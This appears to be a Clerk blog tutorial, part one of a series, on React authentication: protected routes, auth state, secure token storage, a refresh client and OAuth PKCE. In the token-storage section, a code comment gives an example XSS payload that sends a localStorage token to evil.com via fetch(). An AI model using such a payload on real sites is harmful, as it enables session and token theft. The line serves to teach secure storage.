Skip to main content
Articles

React Authentication: From Protected Routes to Passkeys

Author: Roy Anger
Published: (last updated )

How do I build secure authentication in React?

This is part one of a two-part series on React authentication. This part covers the foundational setup, including route protection patterns, managing auth state securely with the Context API, using HTTP-only cookies for token storage, and implementing OAuth 2.0 with PKCE for social logins. For advanced topics like MFA, passkeys, and Next.js 16 integration, see part two.

88% of web application attacks involve stolen credentials (Verizon DBIR, 2025; Descope, 2025), with the average breach costing $4.44M (IBM, 2025). Authentication in React spans token storage, session management, OAuth, multi-factor authentication, passkeys, and XSS/CSRF prevention — most tutorials cover the login form and stop. This part lays the foundations — protected routes, auth state, secure token storage, and OAuth 2.0 social login — with working TypeScript code and security analysis, comparing a DIY build against Clerk. Part two continues with MFA, passkeys, Next.js 16, and a full platform comparison across Auth0, Firebase Auth, Supabase Auth, and Clerk.

TopicKey FindingWhat You'll Learn
Token securitylocalStorage is vulnerable to XSSIn-memory + httpOnly cookie pattern
MFABlocks 99.9% of automated attacksTOTP + passkey implementation
Passkeys93% success rate, 8x faster than password+MFA (Microsoft, 2025)WebAuthn integration in React
Social loginIncreases signup conversion 20-40%OAuth 2.0 with PKCE
Platform choiceReact-native SDKs vary significantlyFeature comparison across 4 platforms

Setting up a React project for secure authentication

This tutorial uses Vite + React + TypeScript, the standard 2026 React stack. We'll walk through two parallel approaches:

  • DIY: React + React Router + custom AuthContext
  • Clerk: React + @clerk/react

A quick note on Clerk packages: @clerk/react is the base React SDK for any React app. If you're using React Router as a framework (with react-router.config.ts), there's also @clerk/react-router with framework-specific integrations like loaders and route-level auth. For a Vite app using React Router as a library (the approach here), @clerk/react is all you need.

Here's the Clerk setup. The entire auth layer wraps your app root:

src/main.tsx
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import { ClerkProvider } from '@clerk/react'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  <StrictMode>
    <ClerkProvider afterSignOutUrl="/">
      <App />
    </ClerkProvider>
  </StrictMode>,
)

ClerkProvider reads VITE_CLERK_PUBLISHABLE_KEY from your environment automatically. Never hardcode API keys; use environment variables with the VITE_ prefix for Vite projects.

The app shell uses the <Show> component to conditionally render based on auth state:

src/App.tsx
import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/react'

export default function App() {
  return (
    <div>
      <header>
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
        </Show>
      </header>
      <main>{/* Your app content */}</main>
    </div>
  )
}

That's a working auth UI in about 20 lines. The DIY version of this requires building every piece yourself, which is what the next several sections cover.

Implementing protected routes in React

Client-side route protection improves the user experience by hiding UI that requires authentication. Your server is the actual security boundary and must validate auth independently on every request.

That said, route guards are critical for a good user experience. Without them, unauthenticated users see a flash of protected content before being redirected.

Here's a ProtectedRoute component using React Router. These examples target React Router v7, which imports everything from the react-router package; on v6, import the same APIs from react-router-dom instead.

src/components/ProtectedRoute.tsx
import { Navigate, Outlet, useLocation } from 'react-router'
import { useAuth } from '../providers/AuthProvider'

export function ProtectedRoute() {
  const { user, isLoading } = useAuth()
  const location = useLocation()

  if (isLoading) {
    return <div>Loading...</div>
  }

  if (!user) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}

The isLoading guard is critical. Without it, the component redirects to sign-in on every page load before the auth state has resolved. The state={{ from: location }} preserves the original destination so you can redirect back after sign-in.

Wire it into your router as a layout route:

src/router.tsx
import { createBrowserRouter } from 'react-router'
import { ProtectedRoute } from './components/ProtectedRoute'
import { Home } from './pages/Home'
import { SignIn } from './pages/SignIn'
import { Dashboard } from './pages/Dashboard'
import { Settings } from './pages/Settings'

export const router = createBrowserRouter([
  { path: '/', element: <Home /> },
  { path: '/sign-in', element: <SignIn /> },
  {
    element: <ProtectedRoute />,
    children: [
      { path: '/dashboard', element: <Dashboard /> },
      { path: '/settings', element: <Settings /> },
    ],
  },
])

With Clerk, the same pattern is simpler because auth state management is handled internally:

src/components/ProtectedRoute.tsx
import { Navigate, Outlet, useLocation } from 'react-router'
import { useAuth } from '@clerk/react'

export function ProtectedRoute() {
  const { isLoaded, isSignedIn } = useAuth()
  const location = useLocation()

  if (!isLoaded) {
    return <div>Loading...</div>
  }

  if (!isSignedIn) {
    return <Navigate to="/sign-in" state={{ from: location }} replace />
  }

  return <Outlet />
}

The shape is similar, but you don't need to build the auth context, manage tokens, or handle refresh logic. That's all internal to useAuth().

Managing auth state with Context API and hooks

DIY auth state management in React has a common pitfall: a single context that holds both state and actions causes unnecessary re-renders across your entire app. The fix is to split them.

src/providers/AuthProvider.tsx
import {
  createContext,
  useCallback,
  useContext,
  useEffect,
  useMemo,
  useReducer,
  useRef,
} from 'react'

interface User {
  id: string
  email: string
}

interface AuthState {
  user: User | null
  isLoading: boolean
}

type AuthAction =
  | { type: 'SET_USER'; user: User }
  | { type: 'CLEAR_USER' }
  | { type: 'SET_LOADING'; isLoading: boolean }

const AuthStateContext = createContext<AuthState | null>(null)
const AuthActionsContext = createContext<{
  login: (email: string, password: string) => Promise<void>
  logout: () => Promise<void>
} | null>(null)

function authReducer(state: AuthState, action: AuthAction): AuthState {
  switch (action.type) {
    case 'SET_USER':
      return { user: action.user, isLoading: false }
    case 'CLEAR_USER':
      return { user: null, isLoading: false }
    case 'SET_LOADING':
      return { ...state, isLoading: action.isLoading }
  }
}

export function AuthProvider({ children }: { children: React.ReactNode }) {
  const [state, dispatch] = useReducer(authReducer, {
    user: null,
    isLoading: true,
  })
  const accessTokenRef = useRef<string | null>(null)

  useEffect(() => {
    // Silent refresh on mount: exchange refresh token (httpOnly cookie)
    // for a new access token
    fetch('/api/auth/refresh', { credentials: 'include' })
      .then((res) => (res.ok ? res.json() : Promise.reject()))
      .then(({ user, accessToken }) => {
        accessTokenRef.current = accessToken
        dispatch({ type: 'SET_USER', user })
      })
      .catch(() => dispatch({ type: 'CLEAR_USER' }))
  }, [])

  const login = useCallback(async (email: string, password: string) => {
    const res = await fetch('/api/auth/login', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    })
    const { user, accessToken } = await res.json()
    accessTokenRef.current = accessToken
    dispatch({ type: 'SET_USER', user })
  }, [])

  const logout = useCallback(async () => {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    accessTokenRef.current = null
    dispatch({ type: 'CLEAR_USER' })
  }, [])

  const actions = useMemo(() => ({ login, logout }), [login, logout])

  return (
    <AuthStateContext.Provider value={state}>
      <AuthActionsContext.Provider value={actions}>{children}</AuthActionsContext.Provider>
    </AuthStateContext.Provider>
  )
}

export function useAuth() {
  const state = useContext(AuthStateContext)
  const actions = useContext(AuthActionsContext)
  if (!state || !actions) throw new Error('useAuth must be used within AuthProvider')
  return { ...state, ...actions }
}

Two contexts, a reducer, memoized callbacks, an in-memory token ref, silent refresh on mount. That's roughly 80 lines before you've handled token refresh failures, race conditions, or multi-tab session sync.

With Clerk, the same surface area collapses to this:

src/components/Dashboard.tsx
import { useAuth, useUser } from '@clerk/react'

export function Dashboard() {
  const { isLoaded, userId, getToken } = useAuth()
  const { user } = useUser()

  if (!isLoaded) return <div>Loading...</div>

  return (
    <div>
      <h1>Welcome, {user?.firstName}</h1>
      <p>User ID: {userId}</p>
    </div>
  )
}

useAuth() handles session state, token refresh, and multi-tab sync. useUser() provides user profile data. No context providers, no reducers, no refs.

Token storage and JWT handling: the secure way

Most React auth tutorials store JWTs in localStorage. This is the single most common auth security mistake in React apps, and it's dangerous.

Storage MethodXSS VulnerableSurvives RefreshCSRF RiskRecommendation
localStorageYesYesNoNever for tokens
sessionStorageYesNoNoNever for tokens
In-memory (variable)NoNoNoAccess tokens
httpOnly cookieNoYesYes (mitigable)Refresh tokens

The gold standard: store access tokens in memory and refresh tokens in httpOnly cookies. Here's why.

src/auth/insecure-example.ts
// ❌ VULNERABLE: Any XSS payload can steal this token
export function saveToken(token: string) {
  localStorage.setItem('authToken', token)
}

export function getToken(): string | null {
  return localStorage.getItem('authToken')
}

// An attacker's XSS payload:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('authToken'))

Any script running on your page (including injected third-party scripts, compromised dependencies, or XSS payloads) can read localStorage. Game over.

The secure alternative keeps tokens in a module-scoped variable that JavaScript from other contexts can't access:

src/auth/token-manager.ts
// ✅ SECURE: Module-scoped variable, inaccessible to XSS injected scripts
let accessToken: string | null = null

export function setAccessToken(token: string | null) {
  accessToken = token
}

export function getAccessToken(): string | null {
  return accessToken
}

The tradeoff: in-memory tokens don't survive page refresh. You need a silent refresh mechanism using httpOnly cookies to restore them. Here's a complete API client with automatic token refresh and request queuing:

src/auth/api-client.ts
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios'
import { getAccessToken, setAccessToken } from './token-manager'

const api = axios.create({ baseURL: '/api' })

let isRefreshing = false
let failedQueue: Array<{
  resolve: (token: string) => void
  reject: (error: unknown) => void
}> = []

function processQueue(error: unknown, token: string | null) {
  failedQueue.forEach(({ resolve, reject }) => {
    if (error) {
      reject(error)
    } else {
      resolve(token!)
    }
  })
  failedQueue = []
}

api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  const token = getAccessToken()
  if (token) {
    config.headers.Authorization = `Bearer ${token}`
  }
  return config
})

api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const originalRequest = error.config as InternalAxiosRequestConfig & {
      _retry?: boolean
    }

    if (error.response?.status !== 401 || originalRequest._retry) {
      return Promise.reject(error)
    }

    if (isRefreshing) {
      return new Promise((resolve, reject) => {
        failedQueue.push({
          resolve: (token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          },
          reject,
        })
      })
    }

    originalRequest._retry = true
    isRefreshing = true

    try {
      const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true })
      setAccessToken(data.accessToken)
      processQueue(null, data.accessToken)
      originalRequest.headers.Authorization = `Bearer ${data.accessToken}`
      return api(originalRequest)
    } catch (refreshError) {
      processQueue(refreshError, null)
      setAccessToken(null)
      window.location.href = '/sign-in'
      return Promise.reject(refreshError)
    } finally {
      isRefreshing = false
    }
  },
)

export default api

That's ~70 lines for a production token refresh client. It handles concurrent 401s by queuing requests, prevents duplicate refresh calls, and redirects to sign-in if the refresh token is expired.

Refresh token rotation adds another layer: every refresh returns a new refresh token and invalidates the old one. If an attacker replays a stolen refresh token, the server detects the reuse and invalidates all tokens for that session.

Backend for Frontend (BFF) pattern: For SPAs that need maximum security, the BFF pattern routes all API calls through a thin backend proxy that manages tokens server-side. The SPA never touches tokens directly. Both OWASP and Curity recommend this approach for high-security SPAs. It adds infrastructure complexity but eliminates client-side token exposure entirely.

How Clerk handles this. Clerk uses a hybrid stateful/stateless authentication model. A long-lived client token (httpOnly cookie on the FAPI domain) serves as the source of truth for session state. A short-lived session token (60-second JWT on your app's domain) handles request authentication without database lookups.

Clerk's SDK auto-refreshes the session token every 50 seconds in the background. This gives you the performance of stateless auth (no DB round-trip per request) with the revocability of stateful auth (revoke the client token and the session dies within 60 seconds).

No developer token management needed. See How Clerk Works for the full architecture.

Credential breaches take 246 days to identify and contain (SpyCloud/IBM, 2025). The overall average breach lifecycle is 241 days, the lowest in nine years. Meanwhile, 1.8 billion credentials were stolen by infostealers in 2025 (Flashpoint, 2025; Vectra AI, 2025; Infosecurity Magazine, 2025).

OWASP explicitly recommends against localStorage for tokens (OWASP HTML5 Cheat Sheet).

JWT payloads are base64-encoded, not encrypted. Never put sensitive data in payloads (RFC 8725). Preferred signing algorithms: RS256, ES256, or EdDSA. Never allow none.

Social login and OAuth 2.0 with PKCE

Social login increases signup conversion by 20-40% (Okta/Auth0, 2023). Google dominates at ~62% of businesses offering social login (6sense, 2026; Okta State of Identity, 2024), followed by Apple and Facebook.

The only secure OAuth flow for SPAs is the Authorization Code Flow with PKCE (Proof Key for Code Exchange). The Implicit Flow is deprecated because it exposes tokens in URL fragments, making them vulnerable to browser history leaks and referer header exposure.

Here's the PKCE implementation. You need a cryptographic code verifier and its SHA-256 challenge:

src/auth/pkce.ts
export function generateCodeVerifier(): string {
  const array = new Uint8Array(32)
  crypto.getRandomValues(array)
  return btoa(String.fromCharCode(...array))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

export async function generateCodeChallenge(verifier: string): Promise<string> {
  const encoder = new TextEncoder()
  const data = encoder.encode(verifier)
  const digest = await crypto.subtle.digest('SHA-256', data)
  return btoa(String.fromCharCode(...new Uint8Array(digest)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '')
}

Then build the authorization URL:

src/auth/oauth.ts
import { generateCodeVerifier, generateCodeChallenge } from './pkce'

const OAUTH_ENDPOINTS: Record<'google' | 'github', string> = {
  google: 'https://accounts.google.com/o/oauth2/v2/auth',
  github: 'https://github.com/login/oauth/authorize',
}

export async function initiateOAuth(provider: 'google' | 'github') {
  const codeVerifier = generateCodeVerifier()
  const codeChallenge = await generateCodeChallenge(codeVerifier)
  const state = crypto.randomUUID()

  // Store verifier and state for the callback
  sessionStorage.setItem('pkce_verifier', codeVerifier)
  sessionStorage.setItem('oauth_state', state)

  const params = new URLSearchParams({
    client_id: import.meta.env.VITE_OAUTH_CLIENT_ID,
    redirect_uri: `${window.location.origin}/oauth/callback`,
    response_type: 'code',
    scope: 'openid email profile',
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
    state,
  })

  window.location.href = `${OAUTH_ENDPOINTS[provider]}?${params}`
}

That's ~35 lines just for the crypto and redirect. You still need the callback handler, token exchange, error handling, and account linking logic.

Account linking is a sleeper complexity. When a user signs up with Google and later tries email/password with the same email, your DIY implementation must manually merge accounts. This is error-prone and a common source of security bugs. Clerk handles account linking automatically.

How Clerk handles this. signIn.sso() handles PKCE, token exchange, and account linking internally. Clerk also manages the transfer between sign-in and sign-up flows when a user tries to sign in with an OAuth provider but doesn't have an account yet. First enable Google in the Clerk Dashboard under SSO connections → Social so the provider is available to signIn.sso().

src/components/SocialLogin.tsx
import { useSignIn } from '@clerk/react'

export function SocialLogin() {
  const { signIn, errors, fetchStatus } = useSignIn()

  const handleGoogleSignIn = async () => {
    const { error } = await signIn.sso({
      strategy: 'oauth_google',
      redirectCallbackUrl: '/sso-callback',
      redirectUrl: '/',
    })

    if (error) {
      console.error(JSON.stringify(error, null, 2))
    }
    // If no error, the browser redirects to Google
  }

  return (
    <div>
      <button onClick={handleGoogleSignIn} disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Redirecting...' : 'Continue with Google'}
      </button>
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
    </div>
  )
}

The SSO callback page handles the redirect response, including transferable sessions (when a sign-in attempt needs to become a sign-up, or vice versa):

src/pages/SSOCallback.tsx
import { useEffect, useRef } from 'react'
import { useClerk, useSignIn, useSignUp } from '@clerk/react'
import { useNavigate } from 'react-router'

export function SSOCallback() {
  const clerk = useClerk()
  const { signIn } = useSignIn()
  const { signUp } = useSignUp()
  const navigate = useNavigate()
  const hasRun = useRef(false)

  const handleNavigate = async ({
    session,
    decorateUrl,
  }: {
    session: { currentTask?: { key: string } | null }
    decorateUrl: (url: string) => string
  }) => {
    if (session?.currentTask) {
      // Handle required post-auth steps (e.g., setup-mfa)
      navigate(`/post-auth/${session.currentTask.key}`)
      return
    }
    const url = decorateUrl('/')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      navigate(url)
    }
  }

  useEffect(() => {
    if (hasRun.current) return
    hasRun.current = true

    async function handleCallback() {
      // Sign-in completed
      if (signIn.status === 'complete') {
        await signIn.finalize({ navigate: handleNavigate })
        return
      }

      // User tried to sign up with existing account; transfer to sign-in
      if (signUp.isTransferable) {
        await signIn.create({ transfer: true })
        if (signIn.status === 'complete') {
          await signIn.finalize({ navigate: handleNavigate })
        }
        return
      }

      // User tried to sign in but has no account; transfer to sign-up
      if (signIn.isTransferable) {
        await signUp.create({ transfer: true })
        if (signUp.status === 'complete') {
          await signUp.finalize({ navigate: handleNavigate })
        }
        return
      }

      // Handle existing session
      if (signIn.existingSession || signUp.existingSession) {
        const sessionId = signIn.existingSession?.sessionId || signUp.existingSession?.sessionId
        await clerk.setActive({
          session: sessionId,
          navigate: handleNavigate,
        })
      }
    }

    handleCallback()
  }, [])

  return <div>Completing sign-in...</div>
}

The callback page handles four scenarios: completed sign-in, transferable sign-up to sign-in, transferable sign-in to sign-up, and existing sessions. With Clerk's prebuilt <SignIn /> component, both pages collapse to zero custom code.

Conclusion

This concludes the foundational setup for React authentication, covering route protection, state management, secure token storage, and social login. In part two, we explore advanced authentication mechanisms, including multi-factor authentication (MFA), WebAuthn passkeys, XSS and CSRF prevention, and integrating authentication with Next.js 16 Server Components.

Frequently asked questions

In this series

  1. React Authentication: From Protected Routes to Passkeys (you are here)
  2. React Authentication: From Protected Routes to Passkeys - Part 2